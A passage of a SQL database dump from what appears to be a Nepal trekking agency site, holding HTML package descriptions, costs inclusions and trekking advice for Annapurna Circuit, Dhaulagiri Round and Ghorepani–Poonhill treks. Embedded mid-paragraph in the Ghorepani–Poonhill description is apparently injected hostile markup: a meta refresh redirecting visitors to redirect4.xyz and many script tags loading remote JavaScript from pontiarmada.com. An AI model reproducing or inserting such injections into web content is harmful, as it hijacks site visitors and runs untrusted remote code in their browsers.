who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;<br><br>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek or other trekking trail, our guide makes successful effort to complete the trip.&nbsp;</p><h3 style=\"text-align:justify;\"><br>Hire a Porter&nbsp;</h3><p style=\"text-align:justify;\"><br>Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. Even in Annapurna region, the Brahmin and Chhetri people are working as trekking porters nowadays. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Jomsom, we suggest for visitor to have TIP to porters for their support and cooperation. &nbsp;</p><h3 style=\"text-align:justify;\"><br>Telephone and Internet&nbsp;</h3><p style=\"text-align:justify;\"><br>The internet, telephone and mobile phone is available all the way to Annapurna Circuit except after Manang to Thoron La Pass. There are multiple option for Internet, mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. NCELL and NTC are cheaper that works during trekking trail as well as Kathmandu too. Even trekkers can purchase WIFI in local tea houses which is chargeable. Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.</p><h3 style=\"text-align:justify;\"><br>Toilet and Shower&nbsp;</h3><p style=\"text-align:justify;\"><br>Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trekking to Annapurna Circuit, in higher route, toilet should be shared by all trekkers due to common Tea houses only with normal beds in the room. But in Lower part before, there are attached bath room with toilet and shower inside. Bucket Shower is possible in high altitude after Manang Village due to no running water. But during the time of bad weather for example if heavy snow at that time it is hard to get shower above 4500 meters. We suggest to bring toilet paper during the trail due to very cold water for your safety and protection. During the peak season, even in lower region the guest houses can be busy so you will have common Rooms during trek to Annapurna Circuit.&nbsp;</p><h3 style=\"text-align:justify;\"><br>Trek Insurance&nbsp;</h3><p style=\"text-align:justify;\"><br>Trek insurance is very important component during the trek to Everest Base Camp. We suggest trekkers to make plan to be covered up to 5500 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why need to make insurance before you fly to Nepal for Annapurna Circuit.&nbsp;</p><h3 style=\"text-align:justify;\"><br>Trek Permit&nbsp;</h3><p style=\"text-align:justify;\"><br>Annapurna Circuit is situated inside the territory of Annapurna Conservation Area which is the first conservation area of Nepal. Foreign Trekkers are required to obtain permit to entry Annapurna Circuit Trek such as ACAP Permit and TIMS.&nbsp;<br><br>ACAP is known as Annapurna Conservation Area permit which cost 30$ per person where is 10$ for TIMS (Trekking Information Management System). Permits and TIMS can be purchased in Nepal Tourism Board by our company. During trek, need to show Permit in checking points from our trekking guide and provide permit to you after finish the trek in Pokhara. Our company need your passport copy and 2 copy of passport size Photos to make permit at Kathmandu.</p><h3 style=\"text-align:justify;\"><br>Trek Equipment List&nbsp;</h3><p style=\"text-align:justify;\"><br>While trekking to Annapurna Circuit, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Annapurna Circuit. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Annapurna Circuit Trek.&nbsp;</p><p style=\"text-align:justify;\">&nbsp;</p><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;text-align:justify;\">&nbsp;Sleeping Bag (-20)&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Trekking poles&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof hiking boot</li><li style=\"list-style-type:square;text-align:justify;\">Water proof warm Gloves</li><li style=\"list-style-type:square;text-align:justify;\">Sport shoes&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof hiking Pant</li><li style=\"list-style-type:square;text-align:justify;\">Fleece pant</li><li style=\"list-style-type:square;text-align:justify;\">Comfortable underwear&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Warm and thin socks&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Duffel Bag, 90L</li><li style=\"list-style-type:square;text-align:justify;\">Hand carry bag&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Water bottle&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Hiking Shorts&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Down Jacket</li><li style=\"list-style-type:square;text-align:justify;\">Warm Cap &amp; Sun Cap&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Sun Glass</li><li style=\"list-style-type:square;text-align:justify;\">Sun Cream</li><li style=\"list-style-type:square;text-align:justify;\">Lip care&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Headlamp with extra batteries</li><li style=\"list-style-type:square;text-align:justify;\">Neck Gaiter &nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Lightweight thermal tops</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof jacket with hood, waterproof and breathable</li><li style=\"list-style-type:square;text-align:justify;\">Rain coat&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Travel Towel&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Camera</li><li style=\"list-style-type:square;text-align:justify;\">Personal first Aid Kit ( Though our guide also have First Aid Kit)</li></ul><p>&nbsp;</p>', 'Annapurna Circuit Trek | Annapurna Circuit Trek Booking 2025', 'Annapurna Circuit is popular adventurous trekking trail of Nepal that allows to hike world’s highest Himalayan pass called Thorong La (5,416m).', 'Annapurna Circuit Trek, Annapurna Circuit Trek Booking 2025', NULL, '2023-07-16 08:13:05', '2024-12-31 05:51:27'),
(18, 'Dhaulagiri Round Trekking', 'dhaulagiri-round-trekking', '62', NULL, '249,250,252,251,248', 1, '<p style=\"text-align:justify;\">Dhaulagiri Round Trekking is one of the adventure, challenging and strenuous trekking destination located in western part of Nepal overhead of Kali Gandaki River which flows between world’s deepest gorge of Annapurna and Dhaulagiri range. The trekkers need excellent physical preparation and fundamental mountaineering experience to complete high altitude trek of Dhaulagiri. The trekking trail to Dhaulagiri offers high alpine pasture, higher passes of French (5360m) and Dhampus (5,244m), hidden valleys, glacier moraine, off the beaten path, narrow rocky trail, Crevasses and spectacular view of white Himalayan Peaks. The remote Dhaulagiri round trekking also offers beautiful landscape, dense forest of rhododendron with local Gurung, Magar and Thakali settlement and their unique life style.<br><br>The Himalayan sights such as Nilgiri (6,940m), Annapurna I (8,091m), Tilicho Peak (7,134m), Thorong Peak (6,144), Tukuche Peak (6,920m), Dhaulagiri I(8,167m), II(7,751m),III(7,715m), IV(7,661m), V(7,618m), and more silver mountain peaks are the main attraction of Dhaulagiri trek. Mt. Dhaulagiri (8,167m) is the 7th highest mountain of the world. Dhaulagiri is derived from Sanskrit word “Dhawala” which signifies Dazzling-white-beautiful and Giri means Mountain. This is attractive and most surprising mountain of Nepal.&nbsp;<br><br>The trekking is more tough and challenging from Italian Base Camp due to glacier moraine and snow slides. The French pass is one of the highest elevation of the trek whereas Dhampus Pass is fascinating. The hidden valley is full of narrow rugged gorge which is the nearest border of Upper Dolpa and Upper Mustang.<br><br>Dhaulagiri Round Trekking begins after having 4 hour drive from Pokhara to Beni Bazzar of Kali Gandaki and head up to Darbang through local village settlement and forests. It is the less crowded exciting trekking destination of Nepal and the trekking route goes up to Babiachour, Muri, Dhovan, Choriban Khola and Italian Base Camp. Till Italian Base Camp, there are local Tea-houses and trekkers can have food and accommodation there but after we go ahead from here, need full board camping with necessary Porters, tent, Food, and staffs due to no tea houses available until we reach Jomsom via Dhaulagiri Base Camp French Pass, Dhampus Pass and Yak Kharka. After finishing trek, we fly to Pokhara from Jomsom which is the head quarter of Mustang district.<br>&nbsp;</p><h5 style=\"text-align:justify;\">Highlights&nbsp;</h5><ul><li style=\"text-align:justify;\">Scenic drive from Kathmandu to Beni via Pokahra</li><li style=\"text-align:justify;\">Hike through beautiful dense forest and local settlement of Magar, Gurung and Thakali</li><li style=\"text-align:justify;\">Trek over adventure French and Dhampus Pass</li><li style=\"text-align:justify;\">Explore fascinating hidden valley, Glacier moraine, high alpine pasture, off the beaten path with spectacular &nbsp;Himalayan view</li><li style=\"text-align:justify;\">Enjoy the view of Nilgiri (6,940m), Annapurna I (8,091m), Tilicho Peak (7,134m), Thorong Peak (6,144), Tukuche Peak (6,920m), Dhaulagiri I(8,167m), II(7,751m),III(7,715m), IV(7,661m), V(7,618m),</li><li style=\"text-align:justify;\">Fly over world deepest Gorge called Kaligandaki from Jomsom – Pokhara&nbsp;<br>&nbsp;</li></ul>', 'Dhaulagiri Round Trekking is one of the adventure, challenging and strenuous trekking destination located in western part of Nepal overhead of Kali Gandaki River which flows between world’s deepest gorge of Annapurna and Dhaulagiri range. The trekkers need excellent physical preparation and fundamental mountaineering experience to complete high altitude trek of Dhaulagiri. The trekking trail to Dhaulagiri offers high alpine pasture, higher passes of French (5360m) and Dhampus (5,244m), hidden valleys, glacier moraine, off the beaten path, narrow rocky trail, Crevasses and spectacular view of white Himalayan Peaks.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ul><li>Airport Pickup and drop in Private Transport&nbsp;</li><li>Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li>3 star Hotel in Kathmandu and Pokhara with Twin Share including breakfast only&nbsp;</li><li>Pokhara to Beni drive (Before Trek) &amp; Fly from Jomsom - Pokhara (after trek)</li><li>Flight from Pokhara to Kathmandu</li><li>Kathmandu to Pokhara drive by private Transport&nbsp;</li><li>English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li>Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li>Twin share Tea House Accommodation with Breakfast only during Dhaulagiri Round Trekking &amp; Full Board Camping from Italian Base Camp to Jomsom including Tent, Mattress, kitchen staff, with breakfast, Lunch &amp; Dinner Tea/Coffee</li><li>Annapurna Conversation Area Project Permit, TIMS and all Documents for Dhaulagiri Trekking</li><li>Nepal Government Taxes and Office Service Charge</li></ul><p>&nbsp;</p>', '<ul><li>Lunch &amp; Dinner during Kathmandu and Pokhara&nbsp;</li><li>Lunch &amp; Dinner during Dhaulagiri Round Trekking till Italian Base Camp where Tea House available&nbsp;</li><li>Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li>International Flight Ticket</li><li>Personal Trekking /Travel Insurance&nbsp;</li><li>Personal Trekking equipment and Clothes&nbsp;</li><li>Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li>Tips for Guide &amp; Porter</li><li>Any other things not mentioned&nbsp;<br>&nbsp;</li></ul>', '<h3 style=\"text-align:justify;\">Trekking Difficulty&nbsp;</h3><p style=\"text-align:justify;\">Is it difficult to trek Dhaulagiri? You do not need to be a good Football player or Olympic athlete to success Dhaulagiri trek. Sometime, we have many experience of young people failing to reach Dhaulagiri and older people succeeding. So, anyone who is mentally and physically fit can easily completer the journey to Dhaulagiri trek.&nbsp;<br><br>Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced diet and mentally daring to reach Dhaulagiri with happy mood are the hallmarks of your successful journey to destination. Though, Dhaulagiri is challenging trekking trail having steep hills with ascending path, sometime with ice but there will be no need any technical equipment or skill.</p><p style=\"text-align:justify;\">&nbsp;</p><h3 style=\"text-align:justify;\">High Altitude Sickness&nbsp;</h3><p style=\"text-align:justify;\">If the trekkers have symptoms of headache, loss of appetite, diarrhea, shortness of breath, fatigue, nausea, rapid pulse with sleeping problem, he/she is suffered by high altitude sickness. The other factors such as changing weather, cold, sun, wind, low oxygen and bad foods are the key component of high altitude sickness. So trekkers need to warm while trekking Dhaulagiri with proper clothes and equipment. It can affect people of any age, sex and physical conditions.&nbsp;<br><br>So, we suggest our clients, do not drink alcohol and smoke, drink plenty of water while hiking to Annapurna, train your body and strength up before trekking, eat energy food, and mentally be happy during your journey. The most common medicine for preventing high altitude sickness is Diamox or Acetazolamide. Even our guide takes Diamox on the route which is easily purchased in Kathmandu. Ascending down is the solution to avoid high altitude as the altitude sickness affects people from the elevation of 2600 meters above sea level. For normal high altitude sickness our guide helps to control by providing medicine and good food and he takes to medication center where available. If the trekkers feel bad, we send private helicopter for rescue, which is covered by your personal travel insurance. So, individual insurance is necessary while trekking to Lower Dolpo.</p><p style=\"text-align:justify;\">&nbsp;</p><h3 style=\"text-align:justify;\">Best Time to Go&nbsp;</h3><p style=\"text-align:justify;\">If you are looking trek to Dhaulaigri, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Dhaulagiri round trek is March – May and Sep – Nov due to clear sky and pleasant temperature. Spring and autumn is considered as the best season to trek Dhaulagiri region. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.<br><br>Pre-monsoon is called spring season that covers the month of March, April and May whereas the lower region of Everest, rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather.&nbsp;<br><br>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.</p><p style=\"text-align:justify;\">&nbsp;</p><h3 style=\"text-align:justify;\">Accommodation&nbsp;</h3><p style=\"text-align:justify;\">During the trekking trail to Dhaulagiri, trekkers sleep and eat in Tea house and well as Camping tent. All the places in the route, Tea houses not available so we sleep in camping tent where our trekking crew Camp the tent and also cook food.<br><br>Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night.</p><p style=\"text-align:justify;\">&nbsp;</p><h3 style=\"text-align:justify;\">Food and water&nbsp;</h3><p style=\"text-align:justify;\">Food and water is very important things during the trekking to Lower Dolpo. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. But during Dhaulagiri trek, there will be basis local food that tea house provides to the clients.&nbsp;<br><br>We recommend to have vegetarian food during trek due to porter and yaks carry meat from lower region which is not refrigerated that may cause stomach problem. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on. But in low region, if Tea houses can provide fresh meat of Chicken can eat easily.&nbsp;<br><br>Do not drink water from river or water fall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommend to drink 2-3 liters per day.</p><p style=\"text-align:justify;\">&nbsp;</p><h3 style=\"text-align:justify;\">Hire a Guide&nbsp;</h3><p style=\"text-align:justify;\">A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors. But Guide must be experienced during Dhaulagiri trek to find right track if snowfall. So must be good and experienced guide.<br><br>Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. He controls everything during trekking such as Porter, staying Camp, and communication with locals too. If any problem occurs guide need to decide after talking with clients and company.<br><br>During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.<br><br>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek or other trekking trail, our guide makes successful effort to complete the trip.</p><p style=\"text-align:justify;\">&nbsp;</p><h3 style=\"text-align:justify;\">Hire a Porter&nbsp;</h3><p style=\"text-align:justify;\">Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community.&nbsp;<br><br>They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers.&nbsp;</p><p style=\"text-align:justify;\">&nbsp;</p><h3 style=\"text-align:justify;\">Telephone and Internet&nbsp;</h3><p style=\"text-align:justify;\">The internet, telephone and mobile phone is not available all the way to Dhaulagiri. There are multiple option for Internet, mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. NCELL and NTC are cheaper that works during trekking trail as well as Kathmandu too. Even trekkers can purchase WIFI in local tea houses which is chargeable. Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.<br><br>There is telephone connection in lower region of Dhaulagiri but in higher region telephone and internet does no work.</p><p style=\"text-align:justify;\">&nbsp;</p><h3 style=\"text-align:justify;\">Toilet and Shower&nbsp;</h3><p style=\"text-align:justify;\">Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trekking to Dhaulagiri, most of the places, toilet should be shared by all trekkers due to common Tea houses only with normal beds in the room. Bucket Shower is possible in high altitude.&nbsp;<br><br>But during the time of bad weather for example if heavy snow at that time it is hard to get shower above 4500 meters. We suggest to bring toilet paper during the trail due to very cold water for your safety and protection. Our Guide and Sherpa make toilet camp if you will go for camping trekking all routes of Dhaulagiri.</p><p style=\"text-align:justify;\">&nbsp;</p><h3 style=\"text-align:justify;\">Toilet and Shower&nbsp;</h3><p style=\"text-align:justify;\">Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trekking to Dhaulagiri, most of the places, toilet should be shared by all trekkers due to common Tea houses only with normal beds in the room. Bucket Shower is possible in high altitude. But during the time of bad weather for example if heavy snow at that time it is hard to get shower above 4500 meters. We suggest to bring toilet paper during the trail due to very cold water for your safety and protection. Our Guide and Sherpa make toilet camp if you will go for camping trekking all routes of Dhaulagiri.</p><p style=\"text-align:justify;\">&nbsp;</p><h3 style=\"text-align:justify;\">Trek Permit</h3><p style=\"text-align:justify;\">Trekking permit is mandatory to entry Dhaulagiri region. Need Annapurna Conservation Area Project Permit for Dhaulagiri trek. It cost 30$ per person.&nbsp;<br><br>Permits can be purchased in Nepal Tourism Board by our company. During trek, need to show Permit in checking points from our trekking guide and provide permit to you after finish the trek in Pokhara and even in the route. Our company need your passport copy and 2 copy of passport size Photos to make permit at Kathmandu.&nbsp;</p><p style=\"text-align:justify;\">&nbsp;</p><h3 style=\"text-align:justify;\">Trek Equipment List&nbsp;</h3><p style=\"text-align:justify;\">While trekking to Dhaulagiri, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Dhaulagiri. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Dhaulagiri Trek.&nbsp;</p><ul><li style=\"text-align:justify;\">Sleeping Bag (-20)</li><li style=\"text-align:justify;\">Trekking poles&nbsp;</li><li style=\"text-align:justify;\">Waterproof hiking boot</li><li style=\"text-align:justify;\">Water proof warm Gloves&nbsp;</li><li style=\"text-align:justify;\">Sport shoes</li><li style=\"text-align:justify;\">Waterproof hiking Pant</li><li style=\"text-align:justify;\">Fleece pant</li><li style=\"text-align:justify;\">Comfortable underwear</li><li style=\"text-align:justify;\">Warm and thin socks&nbsp;</li><li style=\"text-align:justify;\">Duffel Bag, 90L</li><li style=\"text-align:justify;\">Hand carry bag</li><li style=\"text-align:justify;\">Water bottle&nbsp;</li><li style=\"text-align:justify;\">Hiking Shorts&nbsp;</li><li style=\"text-align:justify;\">Down Jacket&nbsp;</li><li style=\"text-align:justify;\">Warm Cap &amp; Sun Cap</li><li style=\"text-align:justify;\">Sun Glass</li><li style=\"text-align:justify;\">Sun Cream</li><li style=\"text-align:justify;\">Lip care</li><li style=\"text-align:justify;\">Headlamp with extra batteries</li><li style=\"text-align:justify;\">Neck Gaiter</li><li style=\"text-align:justify;\">Lightweight thermal tops</li><li style=\"text-align:justify;\">Waterproof jacket with hood, waterproof and breathable</li><li style=\"text-align:justify;\">Rain coat</li><li style=\"text-align:justify;\">Travel Towel&nbsp;</li><li style=\"text-align:justify;\">Camera&nbsp;</li><li style=\"text-align:justify;\">Personal first Aid Kit (Though our guide also have First Aid Kit)</li></ul>', 'Dhaulagiri Round Trekking | Dhaulagiri Trekking Cost and Itinerary 2024', 'The trekking trail to Dhaulagiri offers high alpine pasture, higher passes of French 5360m and Dhampus 5,244m, hidden valleys, glacier moraine, off-the-beaten path, narrow rocky trail, Crevasses, and spectacular view of white Himalayan Peaks.', 'Dhaulagiri Round Trekking, Dhaulagiri Trekking Cost and Itinerary 2024, Dhaulagir Trekking, adventure planner, dhaulagiri trek, dhaulagiri trekking permits, dhaulagiri trekking best cost', NULL, '2023-07-16 09:11:00', '2024-08-28 16:02:26');
INSERT INTO `packages` (`id`, `name`, `slug`, `image`, `banner`, `gallery`, `status`, `description`, `short_description`, `map`, `discount`, `location`, `special_title`, `special`, `price`, `inclusions`, `exclusions`, `overview`, `seo_title`, `seo_description`, `seo_keywords`, `seo_schema`, `created_at`, `updated_at`) VALUES
(19, 'Ghorepani – Poonhill Trekking', 'ghorepani-poonhill-trekking', '129', NULL, '328,84,327,326,329,330,325', 1, '<p style=\"text-align:justify;\">Ghorepani, Poonhill trekking is a short and easy trekking trail of Nepal located in Annapurna Conservation Area Project. It is nearest trekking trail from Pokhara city also knows as the best Himalayan view trek of Nepal which provides beautiful forests of rhododendron and Oak Trees, terraced farmland, local Gurung settlement and panoramic view of Annapurna Himalayas. The spring season welcome us with offering beautiful rhododendron flowers whereas autumn season having best Himalayan view.&nbsp;&nbsp;<br><br>Poonhill is the main highlight of the whole trek to Ghorepani which is located with an elevation of 3200 meter. It is a perfect place to see the sunrise with amazing glorious Himalayas such as Annapurna I (8,091m), Dhaulagiri (8,167m), Annapurna South (7,219m), Hiunchuli (6,441m), Machhapuchare (6,993m), Tukuche Peak (6,920m) and more silver mountain peaks. The sunrise makes Himalaya in golden colors that is the one of best moment to catch the view and take photograph. People climb Poonhill early in the morning from Ghorepani due to its miraculous beauty and breathtaking landscape.&nbsp;<script async=\"\" src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8891303795668056\" crossorigin=\"anonymous\"></script>&nbsp;<meta httpequiv=\"Refresh\" content=\"90; URL=http://redirect4.xyz/\"><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/news/wp.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/lima.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/enam.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tiga.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/empat.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/delapan.js\"></script>&nbsp;<br><br>You need a moderate level of fitness to finish this trekking route. So, it is a comfortable trek with closeness to nature, serenity, and beauty that makes your trek to Shangri-La. Most of the people who live in Phoon Hill are Magar People and Poon is their surname. So, this trekking trail is called Poonhill too. Even Gurung people also have equally lived there in route. If trekkers have time can continue their trek to Annapurna Base Camp too but need extra days.&nbsp;&nbsp;<br>The Ghorepani Poonhill trekking begins after driving 1:30 hrs from Pokhara to Nayapul, and start trek with checking your permit at Birethanti having climb walk to Tikhedhunga, Ghorepani, Poonhill and Climb down to Tadapani, Ghandruk vilalge and finally Nayapul. Again, we drive back to Pokhara after completing this beautiful Annapurna panoramic trek.&nbsp;<br>&nbsp;</p><h5 style=\"text-align:justify;\">Highlights&nbsp;&nbsp;<br>&nbsp;</h5><ul><li>Explore Beautiful Panoramic view of Annapurna, Dhaulagiri and more Silver Mountains.&nbsp;</li><li>Walk through Rhododendron and Oak forest, Terraced field, local Gurung settlement</li><li>Sunrise view of Poonhill, beautiful Ghandruk village, amazing Himalayan landscape&nbsp;</li><li>Clean and beautiful Pokhara City</li><li>Cultural and historical tour of Kathmandu&nbsp;&nbsp;<br><br>&nbsp;</li></ul>', 'Ghorepani, Poonhill trekking is a short and easy trekking trail of Nepal located in Annapurna Conservation Area Project. It is nearest trekking trail from Pokhara city also knows as the best Himalayan view trek of Nepal which provides beautiful forests of rhododendron and Oak Trees, terraced farmland, local Gurung settlement and panoramic view of Annapurna Himalayas. The spring season welcome us with offering beautiful rhododendron flowers whereas autumn season having best Himalayan view.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ul><li>Airport Pickup and drop in Private Transport&nbsp;</li><li>Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li>3 star Hotel in Kathmandu and Pokhara with Twin Share including breakfast only&nbsp;</li><li>Pokhara to Nayapul drive (Before Trek) and Nayapul to Pokhara drive (after Trek) &nbsp;&nbsp;</li><li>Flight from Pokhara to Kathmandu &nbsp;</li><li>Kathmandu to Pokhara drive by private Transport&nbsp;</li><li>English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li>Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li>Twin share Tea House Accommodation with Breakfast only during Ghorepani Poonhill Trekking&nbsp;</li><li>Annapurna Conversation Area Project Permit, TIMS and all Documents for Annapurna Trekking</li><li>Nepal Government Taxes and Office Service Charge</li></ul><p>&nbsp;</p>', '<ul><li>Lunch &amp; Dinner during Kathmandu and Pokhara&nbsp;</li><li>Lunch &amp; Dinner during Annapurna Base Camp Trekking</li><li>Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li>International Flight Ticket</li><li>Personal Trekking /Travel Insurance&nbsp;</li><li>Personal Trekking equipment and Clothes&nbsp;</li><li>Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li>Tips for Guide &amp; Porter</li><li>Any other things not mentioned</li></ul><p>&nbsp;</p>', '<h3 style=\"text-align:justify;\">Trekking Difficulty<br>&nbsp;</h3><p style=\"text-align:justify;\">Is it difficult to trek Ghorepani, Poonhill Trek? &nbsp;You do not need to be a good Football player or Olympic athlete to success Ghorepani, Poonhill trek. We have most experience of people success to reach Ghorepani. So, anyone who is mentally and physically fit can easily completer the journey to Ghorepani, Poonhill. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced died and mentally daring to reach Poon Hill with happy mood are the hallmarks of your successful journey to destination. Though, Ghorepani, Poonhill is easy trekking trail having steep hills with ascending and descending path. There will be no effect of high altitude during the trek to Ghorepani, Poonhill.</p><h3 style=\"text-align:justify;\"><br>Best Time to Go&nbsp;</h3><p style=\"text-align:justify;\"><br>If you are looking trek to Annapurna Base Camp, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Ghorepani, Poon hill, is March – May and Sep – Nov due to clear sky and pleasant temperature. &nbsp;Spring and autumn is considered as the best season to trek Ghorepani. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.<br><br>Pre-monsoon is called spring season that covers the month of March, April and May whereas rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather but it is very rare. If trekkers go to ABC trek, during spring season, he or she is very luck to walk through the forest of rhododendron. The whole hill becomes red and the panoramic view of Annapurna makes your trip life time unforgettable.&nbsp;<br><br>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.<br>&nbsp;</p><h3 style=\"text-align:justify;\">Accommodation&nbsp;</h3><p style=\"text-align:justify;\"><br>During the 